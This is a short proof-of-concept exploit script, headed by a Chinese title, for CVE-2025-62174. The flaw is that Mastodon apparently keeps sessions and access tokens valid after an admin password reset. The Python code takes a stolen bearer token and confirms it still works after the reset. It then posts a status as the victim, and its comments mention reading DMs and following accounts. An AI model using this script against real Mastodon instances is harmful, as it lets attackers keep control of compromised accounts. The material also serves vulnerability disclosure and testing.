CVE-2025-62174 Mastodon密码重置后会话令牌未撤销漏洞

# CVE-2025-62174 - Mastodon Password Reset Session Not Revoked PoC # This PoC demonstrates the vulnerability where sessions/tokens are not revoked after password reset # Step 1: Attacker obtains a valid session token or access token through prior compromise # (e.g., phishing, XSS, or information disclosure) ATTACKER_TOKEN = "attacker_obtained_access_token_xxxxx" TARGET_INSTANCE = "https://mastodon.example.com" # Step 2: Attacker verifies the token is still active import requests headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}" } # Verify account access before password reset response = requests.get(f"{TARGET_INSTANCE}/api/v1/accounts/verify_credentials", headers=headers) print(f"Before reset - Status: {response.status_code}") print(f"Account: {response.json().get('username')}") # Step 3: Admin resets the target user's password via CLI (vulnerable command) # $ bin/tootctl accounts modify <username> --reset-password # The password is reset, but sessions and tokens are NOT revoked # Step 4: Attacker verifies the token is STILL valid after password reset response_after = requests.get(f"{TARGET_INSTANCE}/api/v1/accounts/verify_credentials", headers=headers) print(f"After reset - Status: {response_after.status_code}") # Still 200 = VULNERABLE print(f"Account: {response_after.json().get('username')}") # Still accessible # Step 5: Attacker can continue to perform actions using the old token # e.g., post statuses, read DMs, follow/unfollow accounts, etc. post_data = {"status": "Compromised account - attacker still has access!"} response_post = requests.post(f"{TARGET_INSTANCE}/api/v1/statuses", headers=headers, json=post_data) print(f"Malicious post status: {response_post.status_code}") # Would succeed if vulnerable